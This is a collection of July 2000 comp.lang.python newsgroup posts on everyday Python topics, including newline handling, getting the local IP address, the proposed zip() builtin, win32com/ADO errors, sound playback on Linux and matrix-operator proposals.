From max at alcyone.com  Sat Jul 15 14:09:49 2000
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 15 Jul 2000 11:09:49 -0700
Subject: '"""' and linefeed characters
References: <NFUb5.19400$MT.474440@news-west.usenetserver.com>
Message-ID: <3970A8ED.2EF04522@alcyone.com>

Matthew Cline wrote:
> 
> I'm assuming that returns in a '"""' quoted string are given
> the linefeed character(s) of the operating system Python is
> run on.  Is this right?
> 
> Thanks in advance.

They're given a newline ('\n'), which is independent of the end-of-line
sequence of your operating system.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ The chicken was the egg's idea of getting more eggs.
\__/ Samuel Butler
    Fat Boy and Little Man / http://www.fatboyandlittleman.com/
 Watch Fat Boy and Little Man go about their antics.


From arhodes at psionic.com.bbs  Mon Jul 17 14:10:02 2000
From: arhodes at psionic.com.bbs (arhodes at psionic.com.bbs)
Date: 17 Jul 2000 18:10:02 GMT
Subject: Getting local IP address...
Message-ID: <3bRKgR$mfs@openbazaar.net>

Howdy...

That works too.  There are some purists
who may take offense to reliance on external system binaries
(ifconfig and grep)...not a big deal in my opinion.
ifconfig on Linux probably does something similar
to the fcntl/ioctl stuff I was mentioning...perhaps there
should be a platform independent python-ifconfig library?

The API to such a library could be constructed to provide
a standard way to do "ifconfig-ish" stuff on
Windows/NT/Unices. (i.e. up and down network interfaces,
get the ip address off the net interface, set the ip on the
net interface, change firewall rules perhaps, etc.)

Aaron
arhodes at psionic.com


Tony Johnson wrote:
>
> Why not just do an addr = os.system(ifconfig eth0 | grep inet)
> This should return the ip addy of the nic...
>
> Since the way OS's store IP addys is so implementaion dependant, I don't
> see how it could be portable unless people start making a posix way of
> storing an ip addy on top of the os dependant way
>
> On Monday, July 17, 2000 11:33 AM, Aaron Rhodes [SMTP:arhodes at psionic.com]
> wrote:
> > Here's a tremendously non-portable way to do it for
> > Linux by reading it straight off the ethernet card...
> >
> > import string,socket,fcntl
> > SIOCGIFADDR = 0x8915
> > ifname = 'eth0'
> > s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
> > ifr = ifname+'\0'*(16-len(ifname))+chr(socket.AF_INET)+15*'\0'
> > r= fcntl.ioctl(s.fileno(),SIOCGIFADDR,ifr)
> > addr = string.join(map(str,map(ord,r[20:24])),'.')
> > print addr
> >
> >


From neo_brave at my-deja.com  Sun Jul  2 01:20:56 2000
From: neo_brave at my-deja.com (Neo Brave)
Date: Sun, 02 Jul 2000 05:20:56 GMT
Subject: Win32 : Making script.py executable in DOS box
Message-ID: <8jmjfe$64o$1@nnrp1.deja.com>

Hi all,

I'm currently running Python scripts at the command line
using C:\python\python script.py. Is there a way of making
the MS-DOS box recognise the Python script as an executable
file so I can just use the name "script.py"?

Thanks in advance,
Neo
--
Neo Brave


Sent via Deja.com http://www.deja.com/
Before you buy.


From oivvio at cajal.mbb.ki.se  Thu Jul 27 04:15:08 2000
From: oivvio at cajal.mbb.ki.se (Oivvio Polite)
Date: Thu, 27 Jul 2000 10:15:08 +0200
Subject: polymorphism  (was  Re: Type checking in python?)
References: <8lmo4i$s28$1@news.kth.se>
Message-ID: <8lor06$hof$1@news.kth.se>

Thanks a lot for all the answers.

I see now that giving the responsibility to the caller is the path of
righteous.

My problem, I should have pointed this out in the first post, is that the
caller doesn't want any responsibility at all.

We're building a workbench for computational molecular biology. The intended
audience is not one of programmers. It is one that uses Excel and
Powerpoint. If you want them to do any programming you have to trick them in
to it. In than context it's a great thing if a constructor can take just
about anything and make sense out of it that is a good thing. It will
flatten the learning curve.

Therefore I will depart from the narrow path and go of with the try / except
hoard.

After all this I still don't get the difference between polymorphism and
overloading. I've just ordered a book on OO design. So maybe that
distinction will become clearer to me, then again, maybe it won't :)



oivvio





From neilh at scintilla.org.bbs  Mon Jul 17 08:30:03 2000
From: neilh at scintilla.org.bbs (neilh at scintilla.org.bbs)
Date: 17 Jul 2000 12:30:03 GMT
Subject: Pythonwin 132: Letters with Umlaut cause problems
Message-ID: <3bRC1R$k8U@openbazaar.net>

> And a major problem, the ^-key kills build 132 immediately, when using
> the German keyboard layout.

   This is a known problem. It occurs inside the line

   key = win32ui.TranslateVirtualKey(key)

   found in fire_key_event in Pythonwin\pywin\scintilla\bindings.py.

   Mark is aware of the problem in the win32ui code, but you might want to
try this short workaround while waiting for a fixed PythonWin. Just before
the "if event is None:" line inside fire_key_event insert this code.

  if key == 220:
   return 1

   This avoids calling win32ui.TranslateVirtualKey for the "^" key. More
tests may be needed for other accent characters or other locales.

   Neil


From tim_one at email.msn.com  Sat Jul 29 16:32:56 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Sat, 29 Jul 2000 16:32:56 -0400
Subject: [Python-Dev] PEP 201, zip() builtin
In-Reply-To: <4ge6oso7stn8m263dvkabt6foq1tbrqbqc@4ax.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEODGMAA.tim_one@email.msn.com>

[Ben Wolfson]
> I take it, then, that lock-step iteration will be done with zip()?

Yes.

> That seems too bad,

Yes, but not a first-class disaster <wink>.

> because it the existing Python syntax could be modified to create
> easily-understood (to me, anyway) ways of expressing both parallel
> and lock-step iteration:

No, every attempt to do so has failed.  For example,

> parallel:
> for x in sequence1, y in sequence2:
> 	stuff
>
> lock-step:
> for x, y in sequence1, sequence2:
> 	stuff

Both syntaxes already have well-defined meanings in Python (*try* them!), so
we can't change what they mean without breaking existing code.  Guido would
*prefer* to do this via syntax instead of new functions, but in more than a
year nobody has been able to dream up a reasonable syntax that's
backward-compatible.    That's not for lack of trying.

maybe-in-p3k-ly y'rs  - tim





From gmcm at hypernet.com.bbs  Sun Jul 16 21:10:01 2000
From: gmcm at hypernet.com.bbs (gmcm at hypernet.com.bbs)
Date: 17 Jul 2000 01:10:01 GMT
Subject: Can't load .pyd files from embedded Python interp
Message-ID: <3bQgFP$jLv@openbazaar.net>

Edward K. Ream wrote:

>I'm having difficulty importing modules defined in .pyd files from an
>embedded Python interpreter.  The problem seems to be that two sets of
>variables are being used and no linking is happening when the DLL is
>loaded.  Perhaps you DLL gurus will spot the problem immediatly.
>Details follow...

Thank you for posting such detailed research!

Extension modules are linked against an import lib for python15.dll. So
they load python15.dll automatically, and use the symbols exported from the
dll, not the ones statically linked into your embedded app.

While it is possible to export symbols from an .exe (in MSVC land, this
produces an .exp file), I've never experimented with back-linking a dll to
an exe.

Most people just use python15.dll from their embedding app so both get the
same copy. Using Borland probably adds some warts to the process, since
everybody has to end up using the same c runtime. Your best bet is to look
for some posts by Gordon Williams, who has instructions on building python
with Borland.

Good luck!

- Gordon


From guido at beopen.com  Fri Jul 28 09:22:37 2000
From: guido at beopen.com (Guido van Rossum)
Date: Fri, 28 Jul 2000 13:22:37 GMT
Subject: [Python-Dev] PEP 201, zip() builtin
References: <200007280428.QAA09796@s454.cosc.canterbury.ac.nz>
Message-ID: <cpr98ee3kv.fsf@cj20424-a.reston1.va.home.com>

> bwarsaw at beopen.com (Barry A. Warsaw):
> >      An earlier version of this PEP proposed that
> >      zip() return a built-in object that performed lazy evaluation
> >      using __getitem__() protocol.  This has been strongly rejected
> >      by the BDFL in favor of returning a real Python list. If lazy
> >      evaluation is desired in the future, the BDFL suggests an xzip()
> >      function be added.

Greg Ewing <greg at cosc.canterbury.ac.nz> replies:
> Well, in that case I think the BDFL has just shot this
> proposal in the foot as far as being a serious solution
> to the parallel for loop problem.
> 
> I was willing to live with the idea of using zip() instead
> of having a proper parallel iteration syntax, as long as
> it was implemented lazily. But now it seems I'll have to
> use another ugly x-named function all over the place.

Who says all over the place?  As far as I can tell, lock-step
iteration (let's not call it "parallel") is a fairly uncommon
operation -- but just common enough that people have been arguing for
some kind of support for it.

The proposed implementation will be blindingly fast -- zip() could
approximate the existing range() function in speed.  There are a few
well-known cases where xrange() is to be preferred over range(), but
in *most* cases, I claim, range() performs well enough.  Note that I'm
not saying that range() is faster than xrange() -- I am saying that it
is *fast enough* for typical usage.

I claim the same for zip().  We'll have a C implementation of zip() in
the 2.0b1 release (expect it late August); please hold back your
judgement until then.

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)


From MSherrill at compuserve.com  Fri Jul 28 13:57:10 2000
From: MSherrill at compuserve.com (MSherrill at compuserve.com)
Date: Fri, 28 Jul 2000 17:57:10 GMT
Subject: Toplevel "test()" functions in standard library
References: <m2vgy28uwi.fsf@hooft.net> <cpwvi8jmyh.fsf@cj20424-a.reston1.va.home.com> <39818f67.145239963@news.telus.net>
Message-ID: <3981b028.9657126@news.compuserve.com>

On Thu, 27 Jul 2000 19:46:22 GMT, root at 127.0.0.1 (David) wrote:

>Either a sidewalk should be poured, so that the path becomes legitimate, or
>people should quit being lazy and stay on the existing sidewalks.

We have signs that said "Please walk on the grass, but don't make
paths."  But that has no bearing on the discussion.

-- 
Mike Sherrill
Information Management Systems


From dale at out-think.NOSPAMco.uk  Wed Jul 19 13:05:32 2000
From: dale at out-think.NOSPAMco.uk (Dale Strickland-Clark)
Date: Wed, 19 Jul 2000 18:05:32 +0100
Subject: ADO 2.5 connection problem
References: <snbbe8hl1nk87@news.supernews.com> <snbiovis6tt120@news.supernews.com> <3975D66D.8B5F46A2@NameConnector.com>
Message-ID: <snbnvagg6tt120@news.supernews.com>

Totally brilliant. Thanks!

I thought that the Python interface to win32com was case insensitive unless
you did early binding - which I wasn't.

Also why did this work on 2.1?

But what a daft fucking error message. God knows what's going on inside for
it to come up with that message. I have wasted so much time on this.

There should be a law against wasting people's time with daft error
messages. My favourite is 'Internal error' with a 'details' button. Click on
the 'details' button and it says 'Internal error'. Which I didn't think was
much more help.

There's also a good one you can get out of Lotus Notes which is: "!"
Priceless!

Thanks again for the help.

--
Dale Strickland-Clark
Out-Think Ltd, UK
Business Technology Consultants

Geoff Talvola <gtalvola at nameconnector.com> wrote in message
news:3975D66D.8B5F46A2 at NameConnector.com...
> Dale Strickland-Clark wrote:
>
> > I've just knocked up a JavaScript equivalent of this as a Windows
Scripting
> > Component and it works a treat.
> >
> > Is it me or is Python Win32Com doing something stupid?
>
> Both :-)  You need to use rs.Open, not rs.open.  Case matters.  The error
> message is about as misleading as can be, though.
>
> Incidentally, I use the following to create a connection to an Access db:
>
>       db = win32com.client.Dispatch("ADODB.Connection")
>       db.Mode = win32com.client.constants.adModeReadWrite   # if we want
to be
> able to write
>       db.Provider = 'Microsoft.Jet.OLEDB.3.51'
>       db.Open(dbfile)
>
> I don't know if there are any advantages or disadvantages compared to what
> you're doing, but who knows, it may help you out somewhere down the road
to know
> this method...
>
> --
>
>
> - Geoff Talvola
>   Parlance Corporation
>   gtalvola at NameConnector.com
>
>




From dcalvelo at pharion.univ-lille2.fr  Wed Jul 19 05:16:00 2000
From: dcalvelo at pharion.univ-lille2.fr (Calvelo Daniel)
Date: 19 Jul 2000 09:16:00 GMT
Subject: Using filter()
References: <8l1o9h$pto$1@news.rchland.ibm.com> <8l256r$d7n$1@netserv.univ-lille1.fr> <8l2g53$14ha$1@news.rchland.ibm.com>
Message-ID: <8l3rkg$e9m$1@netserv.univ-lille1.fr>

Larry Whitley <ldw at us.ibm.com> wrote:
: Thanks, that certainly works.

: I don't understand why lambda needs the second parameter.  When I 
: experiment with
:
: filter( lambda x: string.find( x, name) == 0, fileList)
:
: in place of
:
: filter( lambda x,sf=string.find: sf(x, name )==0, fileList )
:
: it works as well.  I suspect that your codeing come from something more
: general.  Can you explain the reason the sf=string.find construction is
: useful in this context?

Doing the sf=string.find trick saves one name lookup. I have, with fileList
being a list of 10000 "abc" and 10000 "bbc":

>>> import time
>>> tic=time.clock(); None=filter( lambda x: string.find( x, "a") == 0, fileList); time.clock()-tic
1.92
>>> tic=time.clock(); None=filter( lambda x,sf=string.find: sf( x, "a") == 0, fileList); time.clock()-tic
1.14

(These are typical timings on my machine with Python1.5.2 and have nothing
but illustrative purposes.)

Besides, it's "safer" in a sense: It works for you because 'string' is a 
global or module global.  But if you do stg like:

def a():
    import string
    return filter( lambda x: string.find( x, <name>) == 0, <fileList>)

then 'string' is *not* looked up in a's namespace, whereas it is with the
other trick. I wouldn't recommend such practices anyway but who knows.

You might want to have a look at Skip Montanaro's Pyhton Performance Tips
at http://www.musi-cal.com/~skip/python/fastpython.html

HTIU

Python-42K-will-have-nested-namespaces!-really!-ly y'rs,  Daniel


-- Daniel Calvelo Aros
     calvelo at lifl.fr


From aruth at intercation.com  Sat Jul  1 12:56:16 2000
From: aruth at intercation.com (Adam Ruth)
Date: Sat, 1 Jul 2000 10:56:16 -0600
Subject: Communicating between two computers
References: <Pine.GSO.4.10.10007011639300.17559-100000@sundial>
Message-ID: <8jl7uu$ve3$1@news.aros.net>

You can run Python as an NT service quite simply using the brilliant PyWin
extensions.  There's an exe called pythonservice.exe that handles all of the
nasty details.  Running a service has never been simpler.  You can easily
implement BaseHTTPServer within a service.

--
Adam Ruth
InterCation, Inc.
www.intercation.com


"Moshe Zadka" <moshez at math.huji.ac.il> wrote in message
news:Pine.GSO.4.10.10007011639300.17559-100000 at sundial...
> On Fri, 30 Jun 2000, donotspam-jen at personic.com wrote:
>
> > FYI, I'm doing all of this on Windows NT, in case that makes a
difference
> > ...
> >
> > Is there a good way to get a script on one computer to talk to a script
on
> > another computer?  The process I'm thinking of is pretty simple ... I
want a
> > script on a Web server to be able to send a command to a build server to
> > start a build process.  I'd also like the Web server to be able to query
the
> > build servers to find out their status (so that two builds do not run at
> > once on the same machine, for example).
>
> Have a look at my signature: like most everything I say, it is only half
> a joke. Python on two computers talking in plain old HTTP is a powerful
> concept. Just derive from BaseHTTPServer on one end, and implement only
> the do_GET() method, and use urllib at the other end to transmit requests.
>
> Both our inhouse build and backup systems are built (more or less) on
> these principals.
>
> I have no idea if you can run a Python script as an NT service: I'll leave
> that to those who know windows.
> --
> Moshe Zadka <moshez at math.huji.ac.il>
> There is no GOD but Python, and HTTP is its prophet.
>
>




From rhicks at rma.edu  Sat Jul 15 12:29:01 2000
From: rhicks at rma.edu (Robert)
Date: Sat, 15 Jul 2000 16:29:01 GMT
Subject: Getting local IP address...
References: <8ko8qr$7cd$1@nnrp1.deja.com>
Message-ID: <hj0c5.286$RB1.34278@news>

>>> import socket
>>> ip = socket.gethostbyname(socket.gethostname())
>>> print ip

works for me...

Robert

"Stephen Hansen" <stephen at cerebralmaelstrom.com> wrote in message
news:8ko8qr$7cd$1 at nnrp1.deja.com...
> How do I go about getting my dynamic IP address? I want to make a
> little program to check periodically (daily or so) and log the results
> so I can determine how often my IP is getting shuffled. :)
>
> Thanks :)
>
> --Stephen
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From guido at beopen.com  Fri Jul  7 18:41:15 2000
From: guido at beopen.com (Guido van Rossum)
Date: Fri, 07 Jul 2000 17:41:15 -0500
Subject: Python release delay
Message-ID: <200007072241.RAA05858@cj20424-a.reston1.va.home.com>

CNRI's Bob Kahn has this message for the Python user community:

> "As a result of the recent transition of the Core Python development
> activity from CNRI to BeOpen, a number of issues have arisen that CNRI and
> BeOpen are in the process of working out. As soon as these are resolved,
> which we hope will be very shortly, we plan to have the final version of
> Python 1.6 available for download. We apologize for this delay, but
> hopefully, it will not last long and will ultimately put the future python
> evolution on a more solid foundation. In the meantime, BeOpen and CNRI will
> also be working together on updates to the python.org website, and bug
> reports, patches and other contributions to Python 1.6 should continue to
> be submitted to CNRI following the procedures posted at the python.org site."

--Guido van Rossum (home page: http://dinsdale.python.org/~guido/)



From richard_chamberlain at ntlworld.com  Sat Jul 22 02:43:11 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Sat, 22 Jul 2000 07:43:11 +0100
Subject: Newbie pythoner, with bizzare problem
References: <8F79257Amilenkomoonshinecouk@194.73.73.116> <39793A4D.A3D8995F@myself.com>
Message-ID: <5lbe5.2672$k54.49457@news6-win.server.ntlworld.com>

It works either of the following ways:

'c:\\windows\\autoexec.bat'
r'c:\windows\autoexec.bat'
'c:/windows/autoexec.bat'

Richard
Wayne Izatt <wayne.izatt at myself.com> wrote in message
news:39793A4D.A3D8995F at myself.com...
> Just a guess, since I don't know much about Windows, but isn't the '/'
meant
> to be a '\'?
>
> cheers
>
> Jack wrote:
>
> > Hey there,
> >
> > im pretty new to using python, and im just experimenting with file
access,
> > a wrote a script that works fine, and then all of a sudden it started
> > throwing up this error:
> >
> > inp = open("c:/autoexec.bat",'r')
> > TypeError: illegal argument type for built-in operation
> >
> > it was working fine before, and i dont see anything unusual in the
syntax.
> >
> > Any help would be appreciated,
> >
> > Cheers,
> >
> > Jack Green
>




From see at below  Thu Jul  6 00:25:58 2000
From: see at below (Paul Foley)
Date: 06 Jul 2000 16:25:58 +1200
Subject: Random number generation, simple question.
References: <Pine.GSO.4.21.0007031546410.25965-100000@luna.dsv.su.se> <8F6665DDDbeablebeable@207.211.168.82>
Message-ID: <m2zonvyje1.fsf@mycroft.actrix.gen.nz>

On 3 Jul 2000 16:41:54 GMT, Mitchell Morris wrote:

>> * How many random bits does whrandom.random() generate?

> I don't have the references from whrandom handy, but (a) I can flip through 
> my Knuth book (flip, flip, flip) to see that there are several constants by 
> which you can get an LCM to generate 2^32 values each of which could be 32 
> bits long, and (b) Wichmann-Hill is rather more advanced than an LCM, so 32
> *2^32 should be considered a reasonable lower limit. Since you only need 80 
> or so, you should be okay.
[and, later]
> The long answer is you can't generate randomness from nothing, which is 

Right...so how do you get 2^37 bits (or did you mean only 37 bits?) 
out of whrandom, which only has 24 seed bits?  Sequence length is not
the point: obviously you can't get more than 24 bits of entropy into
the thing (and typically a lot less than that), so you obviously can't
get more than 24 bits _out_; and you won't get as much out as you put
in.

> It's been a while since I looked at CipherSaber, but as I recall you only 
> need entropy for the session key. You will probably find that almost any 
> silly stupid PRNG will suffice for that, and most operating systems will 

Not if you care at all about security.

-- 
Nomina stultorum in parietibus et portis semper videmus.      -- Cicero

(setq reply-to
  (concatenate 'string "Paul Foley " "<mycroft" '(#\@) "actrix.gen.nz>"))


From pehr at pehr.net  Wed Jul 12 01:51:31 2000
From: pehr at pehr.net (pehr anderson)
Date: Wed, 12 Jul 2000 05:51:31 GMT
Subject: Sound module question
References: <396BBA07.E844152@bresnanlink.net>
Message-ID: <396BC08E.A3C036A4@pehr.net>

I've started mucking around with sound and have
seen the os.system command work well for most of my needs.

import os
os.system("esdplay file.wav")


Redhat and Gnome like to use the Enlightenment sound daemon.
NOTE: It isn't always started by default.
To start the daemon just run "esd" as the user (you don't need to be
root).
The RPM included with Redhat-6.2 is esound-0.2.17-2.i386.rpm 

I've upgraded my system with Helix gnome so my esound rpm is
esound-0.2.18-1_helix_1

Esound includes the the "esdctl" command to cache wav files 
for quick playback or looping. If you run these through os.system
that should be fast enough for most of your needs. I'm sure there
are better ways to talk to the esound daemon, but this was *very* easy.

Here is the help for esdctl:

[pehr at morseall pehr]$ esdctl 
esdctl error (1):  command line - not enough arguments
esdctl [options] [command]

options:
-s, --server=host:port        contact esd server on host at port

commands:
lock                          foreign clients may not use the server
unlock                        foreign clients may use the server
standby, off                  suspend sound output for other programs
resume, on                    resume sound output
cache sample                  cache a sample in the server
getid name                    retrieve a sample id from its name
free name                     uncache a sample in the server
play name                     play a cached sample once
loop name                     make a cached sample loop
stop name                     stop the looping sample at end
serverinfo                    get server info from server
allinfo                       get player and sample info from server
panstream <id> <left> <right> set panning for a stream
pansample <id> <left> <right> set default panning for a sample
                              - left/right pan values scaled to 256.
standbymode                   see if server's on standby, etc.



Aaron Berg wrote:
> 
> I started programming python a few months ago and I am still learning.
> Does anyone know of a sound module for simple reading and writing of
> sound in linux? I know there is a win32 sound module and there is one
> for SGI but is there one for linux? oss or alsa... I don't know much
> about this issue so it is possible i am just looking in the wrong place.
> Thanks,
> Aaron


From mikeq at my-deja.com  Tue Jul 11 08:42:49 2000
From: mikeq at my-deja.com (mikeq at my-deja.com)
Date: Tue, 11 Jul 2000 12:42:49 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com> <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au>
Message-ID: <8kf4o5$fao$1@nnrp1.deja.com>

Do you know where I can get information on Microsoft's IL? Thanks,

In article <Epxa5.13351$Tb7.89807 at news-server.bigpond.net.au>,
  "Neil Hodgson" <neilh at scintilla.org> wrote:
>    Now that Microsoft have revealed their Intermediate Language (IL)
virtual
> machine, are we going to see a version of Python that compiles
directly to
> IL? Or will Python byte codes still be interpreted by C code?
>
>    Neil


Sent via Deja.com http://www.deja.com/
Before you buy.


From gmcm at hypernet.com  Mon Jul  3 10:28:21 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 03 Jul 2000 14:28:21 GMT
Subject: Memory leaks
References: <395F78BF.CBEAA090@synacon.ch>
Message-ID: <8F6667253gmcmhypernetcom@199.171.54.154>

Ingo Adler wrote:

[strange leaks in SWIG'd code]

>I have some simple Python-Code which generated memory leaks (ca. 4MB):
>(The real code is more complicated, but I could strip it down to this
>simple example = the smallest example with the memory leak.)
>//---------------------------
>x = X()
>
>for i in range(100000):
>    y = x.getY()
>    y.getNumber()
>//---------------------------

Doing things in the "obvious" way from your (snipped) incomplete code, I 
get no leak when using MSVC 5.

- Gordon


From richard at cogsci.ed.ac.uk  Sun Jul 16 15:35:41 2000
From: richard at cogsci.ed.ac.uk (Richard Tobin)
Date: 16 Jul 2000 19:35:41 GMT
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk> <8knhql$lpi$1@nnrp1.deja.com> <8knl04$1c9b$1@pc-news.cogsci.ed.ac.uk> <8kq8kc$guk$1@nnrp1.deja.com>
Message-ID: <8kt2qd$22i7$1@pc-news.cogsci.ed.ac.uk>

In article <8kq8kc$guk$1 at nnrp1.deja.com>,  <david_ullrich at my-deja.com> wrote:

>    So it's something like the value of infoset.__class__
>changes when you call infoset.validate(schema)? 

Very like that - it's changing the class of some objects in the
infoset, not the infoset itself.

>but I really don't see the point
>to changing the class of the object instead of just constructing
>a new object.

None, except to directly model the XML Schema specification which
talks in terms of adding properties to info items in an existing
infoset.

> Like you pass a WellFormedInfoset to something
>or call some method of one and get back an instance of a
>subclass of ValidInfoset.

Some other XML transformations (eg style-sheet application) are
defined as infoset->infoset functions in that way, but this one isn't.

Sometimes the aim of a program isn't (or isn't just) to calculate a
result reliably, but to do it in a particular way to illustrate and
explore an algorithm.

-- Richard
-- 
Spam filter: to mail me from a .com/.net site, put my surname in the headers.

"The Internet is really just a series of bottlenecks joined by high
speed networks." - Sam Wilson


From aahz at netcom.com  Thu Jul  6 12:07:41 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 6 Jul 2000 16:07:41 GMT
Subject: job offer
References: <8k2a7p$mi71@imsp212.netvigator.com>
Message-ID: <8k2asd$gin$1@slb0.atl.mindspring.net>

In article <8k2a7p$mi71 at imsp212.netvigator.com>,
Netvigator <nicklo at bigfoot.com> wrote:
>
>First of all, sorry for posting something not related to the Python
>language. However, I've got a good news for those living in Hong Kong or
>wish to come to Hong Kong. Cos, my company is now recruiting Python
>programmers. It's not easy to find Python people in Hong Kong. My company is
>developing some WAP applications based on ZOPE. I'm sure you will find the
>challange in my company. If you want to know more or want to arrange an
>interview, please contact me thru nicklo at computer.org .

This is actually related; having jobs available boosts acceptance of
Python!  However, you might try getting your posting up at
http://www.python.org/Jobs.html

Unfortunately, I've heard that the updater of the above URL hasn't been
responsive lately.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"do you want my self-identities alphabetically, chronologically, or in
random order?"  -- Misha


From hzhu at knowledgetrack.com.bbs  Wed Jul 12 15:30:10 2000
From: hzhu at knowledgetrack.com.bbs (hzhu at knowledgetrack.com.bbs)
Date: 12 Jul 2000 19:30:10 GMT
Subject: Discussion: Introducing new operators for matrix computation
Message-ID: <3bNRMX$lns@openbazaar.net>

We are at a crucial juncture concerning introduction of new operators into
Python for matrix computation,

1. Experiences with Matlab show that different operators for matrix and
   elementwise operators are very important

2. It is difficult to add .* and ./ as . is already a valid token.  It seems
   that next candidate on the standard keyboard is @.

3. Gregory Lielens has just implemented a patch that could parse additional
   operators containing @

   a at b  is equivalent to a*b,  overloaded using __mmul__   and __rmmul__
   a@/b                  a/b                    __mrdiv__  and __rmrdiv__
   a/@b                  b/a                    __mldiv__  and __rmldiv__
   a@@b                  a**b                   __mpow__   and __rmpow__

   He indicates similar constructions can be added easily.


We intend to add these operators together with Thomas Wouters's augmented
assignment operators (+=,*=, etc) to MatPy, but before that several
decisions need to be made.  First, the main choices:


1. Use a*b as matrix mul, and a@*b as elementwise mul.
Pros:
- Consistent with Matlab.
- Consistent with current MatPy.
- Convenient for matrix computations.
Cons:
- Inconsistent with NumPy
- How to differentiate left and right div (matlab a\b and a/b)?


2. Use a@*b as matrix mul, and a*b as elementwise mul.
Pros:
- Consistent with NumPy
- Can use a@/b and a/@b as matlab a/b and a\b.
- Can use a at b as inner product so that a at b works irrespective of whether a
  and b are row or col operators.
Cons:
- Inconsistent with current MatPy.  Need great effort to switch.
- Using two symbol operator for matrix mul is cumbersome for long formulas.
- It kind of looks ugly.


3. Use a at b as matrix mul, and a*b as elementwise mul.  This has most of the
pros and cons of choice 2, except
Pros:
- Single symbol operators for matrix mul and element mul.
Cons:
- Can't use a at b as inner product.


Just to add to the agony, here are a few contrary views:

1. Consistency with Matlab is not necessarily good.  In Matlab operators
   default to matrix (cf * and .*) but functions default to elementwise (cf
   exp and expm).  In Python ** is defined by __pow__.  Should it be
   consistent with pow the function or ** the operator?

2. Consistency with NumPy is not necessarily good.  Currently one can use
   MatPy and NumPy at the same time.  a*b will be matrixwise for MatPy and
   elementwise for NumPy.  This is convenient when each usage is dominant in
   some part of a program.  Removing this difference and MatPy will lose a
   lot of appeal when it is needed.

3. Although it is relatively difficult to switch the usage in MatPy, it is
   still a good time if we deem this to be A Good Thing.  When the status is
   changed to beta from alpha it would be next to impossible to switch.


To throw you completely off the track, here is one additional feature
request that would great please mathematicians and greatly annoy computer
scientists: Use ^ and @^ for matrix power.  Currently ^ is defined as xor
which is of sufficiently low level that is unlikely to occur with matrix
computations.  Note that this is not in our plan right now.


One other thing that will be of great efficiency value (whenver somebody
comes forward to do it) is to parse := as assignment.  This way we can let
a=b be simple reference assignment without creating a new Matrix object.


The implementors of both previous patches have cautioned that Guido is
unlikely to adopt the patch for the .* or @* operators.  But I'm quite
confident that he can be persuaded.  There is a large number of users of
Matlab and Octave (maybe even more than users of Python), and there is no
fundamental reason they cannot use Python for doing the same thing, provided
that we are allowed to add this little additional operator.  :-) What other
incentives are needed to persuade Guido?  Here's a quote from Gregory,

> they make a huge difference in readability of code dealing with linear
> algebra, in particular when using small matrices.  Such operators explain
> partly the popularity of Matlab-like tools, imho.

I can argue that linear algebra is very important for Python, perhaps even
more important than complex numbers, but this is off topic.

So all your comments, suggestions and flames a invited.  I just have a small
request: As this is getting too long, please reply separately to different
parts of this article, so that the discussion threads remain manageable.


--
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net


From ben at co.and.co  Sat Jul  8 13:12:13 2000
From: ben at co.and.co (ben at co.and.co)
Date: Sat, 08 Jul 2000 17:12:13 GMT
Subject: ISO Latin -> HTML conversion
References: <8k4r6p$p1v$1@thrud.anatomy.usyd.edu.au>
Message-ID: <NhJ95.32962$HL2.534327@afrodite.telenet-ops.be>

Danny Yee <danny at thrud.anatomy.usyd.edu.au> wrote:
> I need to convert text with ISO Latin characters to HTML, e.g.
> I want to map ? to &eacute; and so forth.
> 
> I can do this by reading in a wopping big file
> 	('?', '&Agrave;'),
> 	('?', '&Aacute;'),
> 	('?', '&Acirc;'),
> 	('?', '&Atilde;'),
> 		.
> 		.
> 
> and then going
> 	for pair in fix_list:
> 		line = re.sub(pair[0], pair[1], line)
> as I read each line... but there has to be something quicker than that,
> surely.  Is there a fast way to do this?
 
Just reverse the dictionnary, to be found in htmlentitydefs.

Greeetings,
-- 
ben . de . rydt at pandora . be ------------------ your comments
http://users.pandora.be/bdr/ ------- inl. IPv6, Linux en Pandora



From cut_me_out at hotmail.com  Sat Jul 29 13:55:49 2000
From: cut_me_out at hotmail.com (Alex)
Date: 29 Jul 2000 13:55:49 -0400
Subject: cStringIO & write error?
References: <8F80A1458seed7@212.120.66.218>
Message-ID: <etdpunw95y2.fsf@w20-575-109.mit.edu>

> When I do:
> 
> from StringIO import StringIO
> f=open('file.dat', 'r+b')
> ff=StringIO(f.read(-1))
> ff.seek(0,0)
> ff.write(chr(123))
> 
> all is ok. But when I import from cStringIO I get an error:
> 
[snip]
> AttributeError: write
> 
> What am I doing wrong?

Probably nothing -- I ran into a similar incompatibility between
cStringIO and StringIO a little while back.  I think I got around it by
doing stuff like this:

>>> from  cStringIO import StringIO
>>> t = StringIO()
>>> t.write('stuff')
>>> t.seek(0)
>>> t.read()
'stuff'

Alex.


From matthias.huening at univie.ac.at  Wed Jul  5 04:21:56 2000
From: matthias.huening at univie.ac.at (Matthias Huening)
Date: Wed, 5 Jul 2000 10:21:56 +0200
Subject: Undocumented regex behaviour in re module
References: <m3itulmfi1.fsf@vole.object-craft.com.au>
Message-ID: <8jur8r$3eqe$1@www.univie.ac.at>
